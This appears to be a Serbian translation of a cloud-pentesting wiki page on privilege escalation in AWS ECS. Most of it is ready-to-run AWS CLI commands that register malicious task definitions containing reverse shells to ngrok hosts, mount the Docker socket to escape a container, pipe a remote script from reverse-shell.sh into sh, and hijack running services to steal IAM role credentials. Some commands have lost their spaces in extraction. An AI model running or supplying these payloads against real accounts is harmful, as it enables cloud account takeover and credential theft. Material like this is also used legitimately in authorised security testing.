Napadač koji zloupotrebljava dozvolu iam:PassRole, ecs:RegisterTaskDefinition i ecs:RunTask u ECS može generisati novu definiciju zadatka sa malicioznim kontejnerom koji krade kredencijale metapodataka i pokrenuti je.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potencijalni Uticaj: Direktno privesc na drugu ECS ulogu.
Baš kao u prethodnom primeru, napadač koji zloupotrebljava iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask dozvole u ECS može generisati novu definiciju zadatka sa malicioznim kontejnerom koji krade kredencijale metapodataka i pokrenuti ga.
Međutim, u ovom slučaju, potrebna je instanca kontejnera za pokretanje maliciozne definicije zadatka.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"awsecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Potencijalni uticaj: Direktno privesc na bilo koju ECS ulogu.
Baš kao u prethodnom primeru, napadač koji zloupotrebljava iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ili ecs:CreateService dozvole u ECS može generisati novu definiciju zadatka sa malicioznim kontejnerom koji krade kredencijale metapodataka i pokrenuti je kreiranjem nove usluge sa najmanje 1 aktivnim zadatkom.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
Potencijalni Uticaj: Direktno privesc na bilo koju ECS ulogu.
Ovaj scenario je sličan prethodnim, ali beziam:PassRole dozvole.
Ovo je i dalje zanimljivo jer ako možete pokrenuti proizvoljan kontejner, čak i bez uloge, mogli biste pokrenuti privilegovani kontejner da pobegnete na čvor i ukradete EC2 IAM ulogu i druge ECS uloge kontejnera koje se izvršavaju na čvoru.
Možete čak i prisiliti druge zadatke da se izvršavaju unutar EC2 instance koju kompromitujete da biste ukrali njihove akreditive (kao što je objašnjeno u Privesc na čvor sekciji).
Ovaj napad je moguć samo ako ECS klaster koristi EC2 instance, a ne Fargate.
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
Napadač sa ecs:ExecuteCommand, ecs:DescribeTasks može izvršavati komande unutar aktivnog kontejnera i eksfiltrirati IAM ulogu koja mu je pridružena (potrebna su vam prava za opis jer je neophodno pokrenuti aws ecs execute-command).
Međutim, da bi to uradio, instanca kontejnera mora da pokreće ExecuteCommand agent (što po defaultu nije slučaj).
Stoga, napadač može pokušati da:
Pokuša da izvrši komandu u svakom aktivnom kontejneru
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
Ako ima ecs:RunTask, pokrenite zadatak sa aws ecs run-task --enable-execute-command [...]
Ako ima ecs:StartTask, pokrenite zadatak sa aws ecs start-task --enable-execute-command [...]
Ako ima ecs:CreateService, kreirajte servis sa aws ecs create-service --enable-execute-command [...]
Ako ima ecs:UpdateService, ažurirajte servis sa aws ecs update-service --enable-execute-command [...]
Možete pronaći primere tih opcija u prethodnim ECS privesc sekcijama.
Potencijalni uticaj: Privesc na drugu ulogu vezanu za kontejnere.
ssm:StartSession
Proverite na ssm privesc stranici kako možete zloupotrebiti ovu dozvolu za privesc na ECS:
iam:PassRole, ec2:RunInstances
Proverite na ec2 privesc stranici kako možete zloupotrebiti ove dozvole za privesc na ECS:
?ecs:RegisterContainerInstance
TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se zadaci pokreću na mašinama koje kontroliše napadač??
Napadač sa dozvolama ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, i ecs:DescribeTaskSets može kreirati zloćudni set zadataka za postojeći ECS servis i ažurirati primarni set zadataka. Ovo omogućava napadaču da izvrši proizvoljan kod unutar servisa.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceawsecscreate-task-set--clusterexisting-cluster--serviceexisting-service--task-definitionmalicious-task--network-configuration"awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"# Update the primary task set for the serviceawsecsupdate-service-primary-task-set--clusterexisting-cluster--serviceexisting-service--primary-task-setarn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Potencijalni uticaj: Izvršavanje proizvoljnog koda u pogođenoj usluzi, što može uticati na njenu funkcionalnost ili eksfiltrirati osetljive podatke.